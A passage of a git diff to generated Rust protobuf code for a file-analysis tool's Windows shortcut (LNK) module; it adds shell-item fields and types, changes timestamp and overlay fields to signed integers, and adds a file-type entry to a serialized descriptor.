\x03HTA\x10\xe3\x04\x12\x16\n\x11INTERNET_SHORTCUT\x10\xe4\x04\x12\x08\n\ - \x03CAP\x10\xbc\x05\x12\r\n\x08ISOIMAGE\x10\xa0\x06\x12\r\n\x08SQUASHFS\ - \x10\xa1\x06\x12\x08\n\x03VHD\x10\xa2\x06\x12\t\n\x04VHDX\x10\xa3\x06\ - \x12\n\n\x05APPLE\x10\xe8\x07\x12\x0e\n\tMACINTOSH\x10\xe9\x07\x12\x10\n\ - \x0bAPPLESINGLE\x10\xea\x07\x12\x10\n\x0bAPPLEDOUBLE\x10\xeb\x07\x12\x12\ - \n\rMACINTOSH_HFS\x10\xec\x07\x12\x10\n\x0bAPPLE_PLIST\x10\xed\x07\x12\ - \x12\n\rMACINTOSH_LIB\x10\xee\x07\x12\x10\n\x0bAPPLESCRIPT\x10\xef\x07\ - \x12\x19\n\x14APPLESCRIPT_COMPILED\x10\xf0\x07\x12\x08\n\x03CRX\x10\xcc\ - \x08\x12\x08\n\x03XPI\x10\xcd\x08\x12\x08\n\x03ROM\x10\xb0\t\x12\x08\n\ - \x03IPS\x10\xb1\t\x12\x08\n\x03PEM\x10\x94\n\x12\x08\n\x03PGP\x10\x95\n\ - \x12\x08\n\x03CRT\x10\x96\nb\x06proto3\ + \xc2\x02\x12\n\n\x05SKILL\x10\xc3\x02\x12\t\n\x04TEXT\x10\x90\x03\x12\ + \x0b\n\x06SCRIPT\x10\x91\x03\x12\x08\n\x03PHP\x10\x92\x03\x12\x0b\n\x06P\ + YTHON\x10\x93\x03\x12\t\n\x04PERL\x10\x94\x03\x12\t\n\x04RUBY\x10\x95\ + \x03\x12\x06\n\x01C\x10\x96\x03\x12\x08\n\x03CPP\x10\x97\x03\x12\t\n\x04\ + JAVA\x10\x98\x03\x12\x10\n\x0bSHELLSCRIPT\x10\x99\x03\x12\x0b\n\x06PASCA\ + L\x10\x9a\x03\x12\x08\n\x03AWK\x10\x9b\x03\x12\x0b\n\x06DYALOG\x10\x9c\ + \x03\x12\x0c\n\x07FORTRAN\x10\x9d\x03\x12\x0f\n\nJAVASCRIPT\x10\x9e\x03\ + \x12\x0f\n\nPOWERSHELL\x10\x9f\x03\x12\x08\n\x03VBA\x10\xa0\x03\x12\x07\ + \n\x02M4\x10\xa1\x03\x12\x0e\n\tOBJETIVEC\x10\xa2\x03\x12\t\n\x04JMOD\ + \x10\xa3\x03\x12\r\n\x08MAKEFILE\x10\xa4\x03\x12\x08\n\x03INI\x10\xa5\ + \x03\x12\x0f\n\nUNUSED_CLJ\x10\xa6\x03\x12\x0f\n\nUNUSED_PDB\x10\xa9\x03\ + \x12\x08\n\x03SQL\x10\xaa\x03\x12\x10\n\x0bUNUSED_NEKO\x10\xab\x03\x12\ + \x0f\n\nUNUSED_WER\x10\xac\x03\x12\x0b\n\x06GOLANG\x10\xad\x03\x12\x08\n\ + \x03M3U\x10\xae\x03\x12\x08\n\x03BAT\x10\xaf\x03\x12\x08\n\x03MSC\x10\ + \xb0\x03\x12\x08\n\x03RDP\x10\xb1\x03\x12\x0c\n\x07SYMBIAN\x10\xf4\x03\ + \x12\x0b\n\x06PALMOS\x10\xf5\x03\x12\n\n\x05WINCE\x10\xf6\x03\x12\x0c\n\ + \x07ANDROID\x10\xf7\x03\x12\x0b\n\x06IPHONE\x10\xf8\x03\x12\t\n\x04HTML\ + \x10\xd8\x04\x12\x08\n\x03XML\x10\xd9\x04\x12\x08\n\x03SWF\x10\xda\x04\ + \x12\x08\n\x03FLA\x10\xdb\x04\x12\x0b\n\x06COOKIE\x10\xdc\x04\x12\x0c\n\ + \x07TORRENT\x10\xdd\x04\x12\n\n\x05EMAIL\x10\xde\x04\x12\x0c\n\x07OUTLOO\ + K\x10\xdf\x04\x12\t\n\x04SGML\x10\xe0\x04\x12\t\n\x04JSON\x10\xe1\x04\ + \x12\x08\n\x03CSV\x10\xe2\x04\x12\x08\n\x03HTA\x10\xe3\x04\x12\x16\n\x11\ + INTERNET_SHORTCUT\x10\xe4\x04\x12\x08\n\x03CSS\x10\xe5\x04\x12\x08\n\x03\ + CAP\x10\xbc\x05\x12\r\n\x08ISOIMAGE\x10\xa0\x06\x12\r\n\x08SQUASHFS\x10\ + \xa1\x06\x12\x08\n\x03VHD\x10\xa2\x06\x12\t\n\x04VHDX\x10\xa3\x06\x12\n\ + \n\x05APPLE\x10\xe8\x07\x12\x0e\n\tMACINTOSH\x10\xe9\x07\x12\x10\n\x0bAP\ + PLESINGLE\x10\xea\x07\x12\x10\n\x0bAPPLEDOUBLE\x10\xeb\x07\x12\x12\n\rMA\ + CINTOSH_HFS\x10\xec\x07\x12\x10\n\x0bAPPLE_PLIST\x10\xed\x07\x12\x12\n\r\ + MACINTOSH_LIB\x10\xee\x07\x12\x10\n\x0bAPPLESCRIPT\x10\xef\x07\x12\x19\n\ + \x14APPLESCRIPT_COMPILED\x10\xf0\x07\x12\x08\n\x03CRX\x10\xcc\x08\x12\ + \x08\n\x03XPI\x10\xcd\x08\x12\x08\n\x03ROM\x10\xb0\t\x12\x08\n\x03IPS\ + \x10\xb1\t\x12\x08\n\x03PEM\x10\x94\n\x12\x08\n\x03PGP\x10\x95\n\x12\x08\ + \n\x03CRT\x10\x96\n\x12\x0e\n\tSHELLCODE\x10\xf8\nb\x06proto3\ "; /// `FileDescriptorProto` object which was a source for this generated file diff --git a/lib/src/modules/protos/generated/lnk.rs b/lib/src/modules/protos/generated/lnk.rs index d083a0da7..e5f0a6acb 100644 --- a/lib/src/modules/protos/generated/lnk.rs +++ b/lib/src/modules/protos/generated/lnk.rs @@ -33,11 +33,11 @@ pub struct Lnk { // @@protoc_insertion_point(field:lnk.Lnk.name) pub name: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:lnk.Lnk.creation_time) - pub creation_time: ::std::option::Option, + pub creation_time: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.access_time) - pub access_time: ::std::option::Option, + pub access_time: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.write_time) - pub write_time: ::std::option::Option, + pub write_time: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.file_size) pub file_size: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.file_attributes) @@ -65,11 +65,13 @@ pub struct Lnk { // @@protoc_insertion_point(field:lnk.Lnk.cmd_line_args) pub cmd_line_args: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:lnk.Lnk.overlay_size) - pub overlay_size: ::std::option::Option, + pub overlay_size: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.overlay_offset) - pub overlay_offset: ::std::option::Option, + pub overlay_offset: ::std::option::Option, // @@protoc_insertion_point(field:lnk.Lnk.tracker_data) pub tracker_data: ::protobuf::MessageField, + // @@protoc_insertion_point(field:lnk.Lnk.target_id_list) + pub target_id_list: ::std::vec::Vec, // special fields // @@protoc_insertion_point(special_field:lnk.Lnk.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -141,9 +143,9 @@ impl Lnk { self.name.take().unwrap_or_else(|| ::std::string::String::new()) } - // optional uint64 creation_time = 3; + // optional int64 creation_time = 3; - pub fn creation_time(&self) -> u64 { + pub fn creation_time(&self) -> i64 { self.creation_time.unwrap_or(0) } @@ -156,13 +158,13 @@ impl Lnk { } // Param is passed by value, moved - pub fn set_creation_time(&mut self, v: u64) { + pub fn set_creation_time(&mut self, v: i64) { self.creation_time = ::std::option::Option::Some(v); } - // optional uint64 access_time = 4; + // optional int64 access_time = 4; - pub fn access_time(&self) -> u64 { + pub fn access_time(&self) -> i64 { self.access_time.unwrap_or(0) } @@ -175,13 +177,13 @@ impl Lnk { } // Param is passed by value, moved - pub fn set_access_time(&mut self, v: u64) { + pub fn set_access_time(&mut self, v: i64) { self.access_time = ::std::option::Option::Some(v); } - // optional uint64 write_time = 5; + // optional int64 write_time = 5; - pub fn write_time(&self) -> u64 { + pub fn write_time(&self) -> i64 { self.write_time.unwrap_or(0) } @@ -194,7 +196,7 @@ impl Lnk { } // Param is passed by value, moved - pub fn set_write_time(&mut self, v: u64) { + pub fn set_write_time(&mut self, v: i64) { self.write_time = ::std::option::Option::Some(v); } @@ -570,9 +572,9 @@ impl Lnk { self.cmd_line_args.take().unwrap_or_else(|| ::std::string::String::new()) } - // optional uint64 overlay_size = 19; + // optional int64 overlay_size = 19; - pub fn overlay_size(&self) -> u64 { + pub fn overlay_size(&self) -> i64 { self.overlay_size.unwrap_or(0) } @@ -585,13 +587,13 @@ impl Lnk { } // Param is passed by value, moved - pub fn set_overlay_size(&mut self, v: u64) { + pub fn set_overlay_size(&mut self, v: i64) { self.overlay_size = ::std::option::Option::Some(v); } - // optional uint64 overlay_offset = 20; + // optional int64 overlay_offset = 20; - pub fn overlay_offset(&self) -> u64 { + pub fn overlay_offset(&self) -> i64 { self.overlay_offset.unwrap_or(0) } @@ -604,12 +606,12 @@ impl Lnk { } // Param is passed by value, moved - pub fn set_overlay_offset(&mut self, v: u64) { + pub fn set_overlay_offset(&mut self, v: i64) { self.overlay_offset = ::std::option::Option::Some(v); } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(21); + let mut fields = ::std::vec::Vec::with_capacity(22); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( "is_lnk", @@ -716,6 +718,11 @@ impl Lnk { |m: &Lnk| { &m.tracker_data }, |m: &mut Lnk| { &mut m.tracker_data }, )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "target_id_list", + |m: &Lnk| { &m.target_id_list }, + |m: &mut Lnk| { &mut m.target_id_list }, + )); ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( "Lnk", fields, @@ -736,6 +743,11 @@ impl ::protobuf::Message for Lnk { return false; } }; + for v in &self.target_id_list { + if !v.is_initialized() { + return false; + } + }; true } @@ -749,13 +761,13 @@ impl ::protobuf::Message for Lnk { self.name = ::std::option::Option::Some(is.read_string()?); }, 24 => { - self.creation_time = ::std::option::Option::Some(is.read_uint64()?); + self.creation_time = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.access_time = ::std::option::Option::Some(is.read_uint64()?); + self.access_time = ::std::option::Option::Some(is.read_int64()?); }, 40 => { - self.write_time = ::std::option::Option::Some(is.read_uint64()?); + self.write_time = ::std::option::Option::Some(is.read_int64()?); }, 48 => { self.file_size = ::std::option::Option::Some(is.read_uint32()?); @@ -797,14 +809,17 @@ impl ::protobuf::Message for Lnk { self.cmd_line_args = ::std::option::Option::Some(is.read_string()?); }, 152 => { - self.overlay_size = ::std::option::Option::Some(is.read_uint64()?); + self.overlay_size = ::std::option::Option::Some(is.read_int64()?); }, 160 => { - self.overlay_offset = ::std::option::Option::Some(is.read_uint64()?); + self.overlay_offset = ::std::option::Option::Some(is.read_int64()?); }, 170 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.tracker_data)?; }, + 178 => { + self.target_id_list.push(is.read_message()?); + }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; }, @@ -824,13 +839,13 @@ impl ::protobuf::Message for Lnk { my_size += ::protobuf::rt::string_size(2, &v); } if let Some(v) = self.creation_time { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.access_time { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.write_time { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } if let Some(v) = self.file_size { my_size += ::protobuf::rt::uint32_size(6, v); @@ -872,15 +887,19 @@ impl ::protobuf::Message for Lnk { my_size += ::protobuf::rt::string_size(18, &v); } if let Some(v) = self.overlay_size { - my_size += ::protobuf::rt::uint64_size(19, v); + my_size += ::protobuf::rt::int64_size(19, v); } if let Some(v) = self.overlay_offset { - my_size += ::protobuf::rt::uint64_size(20, v); + my_size += ::protobuf::rt::int64_size(20, v); } if let Some(v) = self.tracker_data.as_ref() { let len = v.compute_size(); my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + for value in &self.target_id_list { + let len = value.compute_size(); + my_size += 2 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); my_size @@ -894,13 +913,13 @@ impl ::protobuf::Message for Lnk { os.write_string(2, v)?; } if let Some(v) = self.creation_time { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.access_time { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.write_time { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } if let Some(v) = self.file_size { os.write_uint32(6, v)?; @@ -942,14 +961,17 @@ impl ::protobuf::Message for Lnk { os.write_string(18, v)?; } if let Some(v) = self.overlay_size { - os.write_uint64(19, v)?; + os.write_int64(19, v)?; } if let Some(v) = self.overlay_offset { - os.write_uint64(20, v)?; + os.write_int64(20, v)?; } if let Some(v) = self.tracker_data.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(21, v, os)?; } + for v in &self.target_id_list { + ::protobuf::rt::write_message_field_with_cached_size(22, v, os)?; + }; os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -988,6 +1010,7 @@ impl ::protobuf::Message for Lnk { self.overlay_size = ::std::option::Option::None; self.overlay_offset = ::std::option::Option::None; self.tracker_data.clear(); + self.target_id_list.clear(); self.special_fields.clear(); } @@ -1014,6 +1037,7 @@ impl ::protobuf::Message for Lnk { overlay_size: ::std::option::Option::None, overlay_offset: ::std::option::Option::None, tracker_data: ::protobuf::MessageField::none(), + target_id_list: ::std::vec::Vec::new(), special_fields: ::protobuf::SpecialFields::new(), }; &instance @@ -1037,6 +1061,528 @@ impl ::protobuf::reflect::ProtobufValue for Lnk { type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; } +// @@protoc_insertion_point(message:lnk.ShellItem) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ShellItem { + // message fields + // @@protoc_insertion_point(field:lnk.ShellItem.item_type) + pub item_type: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:lnk.ShellItem.data) + pub data: ::std::option::Option<::std::vec::Vec>, + // @@protoc_insertion_point(field:lnk.ShellItem.cpl_file_path) + pub cpl_file_path: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.root_folder_id) + pub root_folder_id: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.volume_name) + pub volume_name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.volume_id) + pub volume_id: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.file_entry_name) + pub file_entry_name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:lnk.ShellItem.network_location) + pub network_location: ::std::option::Option<::std::string::String>, + // special fields + // @@protoc_insertion_point(special_field:lnk.ShellItem.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ShellItem { + fn default() -> &'a ShellItem { + ::default_instance() + } +} + +impl ShellItem { + pub fn new() -> ShellItem { + ::std::default::Default::default() + } + + // optional .lnk.ShellItemType item_type = 1; + + pub fn item_type(&self) -> ShellItemType { + match self.item_type { + Some(e) => e.enum_value_or(ShellItemType::CONTROL_PANEL_CPL), + None => ShellItemType::CONTROL_PANEL_CPL, + } + } + + pub fn clear_item_type(&mut self) { + self.item_type = ::std::option::Option::None; + } + + pub fn has_item_type(&self) -> bool { + self.item_type.is_some() + } + + // Param is passed by value, moved + pub fn set_item_type(&mut self, v: ShellItemType) { + self.item_type = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional bytes data = 3; + + pub fn data(&self) -> &[u8] { + match self.data.as_ref() { + Some(v) => v, + None => &[], + } + } + + pub fn clear_data(&mut self) { + self.data = ::std::option::Option::None; + } + + pub fn has_data(&self) -> bool { + self.data.is_some() + } + + // Param is passed by value, moved + pub fn set_data(&mut self, v: ::std::vec::Vec) { + self.data = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_data(&mut self) -> &mut ::std::vec::Vec { + if self.data.is_none() { + self.data = ::std::option::Option::Some(::std::vec::Vec::new()); + } + self.data.as_mut().unwrap() + } + + // Take field + pub fn take_data(&mut self) -> ::std::vec::Vec { + self.data.take().unwrap_or_else(|| ::std::vec::Vec::new()) + } + + // optional string cpl_file_path = 4; + + pub fn cpl_file_path(&self) -> &str { + match self.cpl_file_path.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_cpl_file_path(&mut self) { + self.cpl_file_path = ::std::option::Option::None; + } + + pub fn has_cpl_file_path(&self) -> bool { + self.cpl_file_path.is_some() + } + + // Param is passed by value, moved + pub fn set_cpl_file_path(&mut self, v: ::std::string::String) { + self.cpl_file_path = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_cpl_file_path(&mut self) -> &mut ::std::string::String { + if self.cpl_file_path.is_none() { + self.cpl_file_path = ::std::option::Option::Some(::std::string::String::new()); + } + self.cpl_file_path.as_mut().unwrap() + } + + // Take field + pub fn take_cpl_file_path(&mut self) -> ::std::string::String { + self.cpl_file_path.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string root_folder_id = 5; + + pub fn root_folder_id(&self) -> &str { + match self.root_folder_id.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_root_folder_id(&mut self) { + self.root_folder_id = ::std::option::Option::None; + } + + pub fn has_root_folder_id(&self) -> bool { + self.root_folder_id.is_some() + } + + // Param is passed by value, moved + pub fn set_root_folder_id(&mut self, v: ::std::string::String) { + self.root_folder_id = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_root_folder_id(&mut self) -> &mut ::std::string::String { + if self.root_folder_id.is_none() { + self.root_folder_id = ::std::option::Option::Some(::std::string::String::new()); + } + self.root_folder_id.as_mut().unwrap() + } + + // Take field + pub fn take_root_folder_id(&mut self) -> ::std::string::String { + self.root_folder_id.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string volume_name = 6; + + pub fn volume_name(&self) -> &str { + match self.volume_name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_volume_name(&mut self) { + self.volume_name = ::std::option::Option::None; + } + + pub fn has_volume_name(&self) -> bool { + self.volume_name.is_some() + } + + // Param is passed by value, moved + pub fn set_volume_name(&mut self, v: ::std::string::String) { + self.volume_name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_volume_name(&mut self) -> &mut ::std::string::String { + if self.volume_name.is_none() { + self.volume_name = ::std::option::Option::Some(::std::string::String::new()); + } + self.volume_name.as_mut().unwrap() + } + + // Take field + pub fn take_volume_name(&mut self) -> ::std::string::String { + self.volume_name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string volume_id = 7; + + pub fn volume_id(&self) -> &str { + match self.volume_id.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_volume_id(&mut self) { + self.volume_id = ::std::option::Option::None; + } + + pub fn has_volume_id(&self) -> bool { + self.volume_id.is_some() + } + + // Param is passed by value, moved + pub fn set_volume_id(&mut self, v: ::std::string::String) { + self.volume_id = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_volume_id(&mut self) -> &mut ::std::string::String { + if self.volume_id.is_none() { + self.volume_id = ::std::option::Option::Some(::std::string::String::new()); + } + self.volume_id.as_mut().unwrap() + } + + // Take field + pub fn take_volume_id(&mut self) -> ::std::string::String { + self.volume_id.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string file_entry_name = 8; + + pub fn file_entry_name(&self) -> &str { + match self.file_entry_name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_file_entry_name(&mut self) { + self.file_entry_name = ::std::option::Option::None; + } + + pub fn has_file_entry_name(&self) -> bool { + self.file_entry_name.is_some() + } + + // Param is passed by value, moved + pub fn set_file_entry_name(&mut self, v: ::std::string::String) { + self.file_entry_name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_file_entry_name(&mut self) -> &mut ::std::string::String { + if self.file_entry_name.is_none() { + self.file_entry_name = ::std::option::Option::Some(::std::string::String::new()); + } + self.file_entry_name.as_mut().unwrap() + } + + // Take field + pub fn take_file_entry_name(&mut self) -> ::std::string::String { + self.file_entry_name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string network_location = 9; + + pub fn network_location(&self) -> &str { + match self.network_location.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_network_location(&mut self) { + self.network_location = ::std::option::Option::None; + } + + pub fn has_network_location(&self) -> bool { + self.network_location.is_some() + } + + // Param is passed by value, moved + pub fn set_network_location(&mut self, v: ::std::string::String) { + self.network_location = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_network_location(&mut self) -> &mut ::std::string::String { + if self.network_location.is_none() { + self.network_location = ::std::option::Option::Some(::std::string::String::new()); + } + self.network_location.as_mut().unwrap() + } + + // Take field + pub fn take_network_location(&mut self) -> ::std::string::String { + self.network_location.take().unwrap_or_else(|| ::std::string::String::new()) + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(8); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "item_type", + |m: &ShellItem| { &m.item_type }, + |m: &mut ShellItem| { &mut m.item_type }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "data", + |m: &ShellItem| { &m.data }, + |m: &mut ShellItem| { &mut m.data }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "cpl_file_path", + |m: &ShellItem| { &m.cpl_file_path }, + |m: &mut ShellItem| { &mut m.cpl_file_path }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "root_folder_id", + |m: &ShellItem| { &m.root_folder_id }, + |m: &mut ShellItem| { &mut m.root_folder_id }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "volume_name", + |m: &ShellItem| { &m.volume_name }, + |m: &mut ShellItem| { &mut m.volume_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "volume_id", + |m: &ShellItem| { &m.volume_id }, + |m: &mut ShellItem| { &mut m.volume_id }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "file_entry_name", + |m: &ShellItem| { &m.file_entry_name }, + |m: &mut ShellItem| { &mut m.file_entry_name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "network_location", + |m: &ShellItem| { &m.network_location }, + |m: &mut ShellItem| { &mut m.network_location }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ShellItem", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ShellItem { + const NAME: &'static str = "ShellItem"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.item_type = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 26 => { + self.data = ::std::option::Option::Some(is.read_bytes()?); + }, + 34 => { + self.cpl_file_path = ::std::option::Option::Some(is.read_string()?); + }, + 42 => { + self.root_folder_id = ::std::option::Option::Some(is.read_string()?); + }, + 50 => { + self.volume_name = ::std::option::Option::Some(is.read_string()?); + }, + 58 => { + self.volume_id = ::std::option::Option::Some(is.read_string()?); + }, + 66 => { + self.file_entry_name = ::std::option::Option::Some(is.read_string()?); + }, + 74 => { + self.network_location = ::std::option::Option::Some(is.read_string()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.item_type { + my_size += ::protobuf::rt::int32_size(1, v.value()); + } + if let Some(v) = self.data.as_ref() { + my_size += ::protobuf::rt::bytes_size(3, &v); + } + if let Some(v) = self.cpl_file_path.as_ref() { + my_size += ::protobuf::rt::string_size(4, &v); + } + if let Some(v) = self.root_folder_id.as_ref() { + my_size += ::protobuf::rt::string_size(5, &v); + } + if let Some(v) = self.volume_name.as_ref() { + my_size += ::protobuf::rt::string_size(6, &v); + } + if let Some(v) = self.volume_id.as_ref() { + my_size += ::protobuf::rt::string_size(7, &v); + } + if let Some(v) = self.file_entry_name.as_ref() { + my_size += ::protobuf::rt::string_size(8, &v); + } + if let Some(v) = self.network_location.as_ref() { + my_size += ::protobuf::rt::string_size(9, &v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.item_type { + os.write_enum(1, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.data.as_ref() { + os.write_bytes(3, v)?; + } + if let Some(v) = self.cpl_file_path.as_ref() { + os.write_string(4, v)?; + } + if let Some(v) = self.root_folder_id.as_ref() { + os.write_string(5, v)?; + } + if let Some(v) = self.volume_name.as_ref() { + os.write_string(6, v)?; + } + if let Some(v) = self.volume_id.as_ref() { + os.write_string(7, v)?; + } + if let Some(v) = self.file_entry_name.as_ref() { + os.write_string(8, v)?; + } + if let Some(v) = self.network_location.as_ref() { + os.write_string(9, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ShellItem { + ShellItem::new() + } + + fn clear(&mut self) { + self.item_type = ::std::option::Option::None; + self.data = ::std::option::Option::None; + self.cpl_file_path = ::std::option::Option::None; + self.root_folder_id = ::std::option::Option::None; + self.volume_name = ::std::option::Option::None; + self.volume_id = ::std::option::Option::None; + self.file_entry_name = ::std::option::Option::None; + self.network_location = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static ShellItem { + static instance: ShellItem = ShellItem { + item_type: ::std::option::Option::None, + data: ::std::option::Option::None, + cpl_file_path: ::std::option::Option::None, + root_folder_id: ::std::option::Option::None, + volume_name: ::std::option::Option::None, + volume_id: ::std::option::Option::None, + file_entry_name: ::std::option::Option::None, + network_location: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ShellItem { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ShellItem").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ShellItem { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ShellItem { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + // @@protoc_insertion_point(message:lnk.TrackerData) #[derive(PartialEq,Clone,Default,Debug)] pub struct TrackerData { @@ -1751,12 +2297,137 @@ impl DriveType { } } +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:lnk.ShellItemType) +pub enum ShellItemType { + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL_CPL) + CONTROL_PANEL_CPL = 0, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL_CATEGORY) + CONTROL_PANEL_CATEGORY = 1, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.ROOT_FOLDER) + ROOT_FOLDER = 31, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.VOLUME) + VOLUME = 32, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.FILE_ENTRY) + FILE_ENTRY = 48, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.NETWORK_LOCATION) + NETWORK_LOCATION = 64, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.COMPRESSED_FOLDER) + COMPRESSED_FOLDER = 82, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.URI) + URI = 97, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.CONTROL_PANEL) + CONTROL_PANEL = 113, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.PRINTERS) + PRINTERS = 114, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.COMMON_PLACES_FOLDER) + COMMON_PLACES_FOLDER = 115, + // @@protoc_insertion_point(enum_value:lnk.ShellItemType.USERS_FILES_FOLDER) + 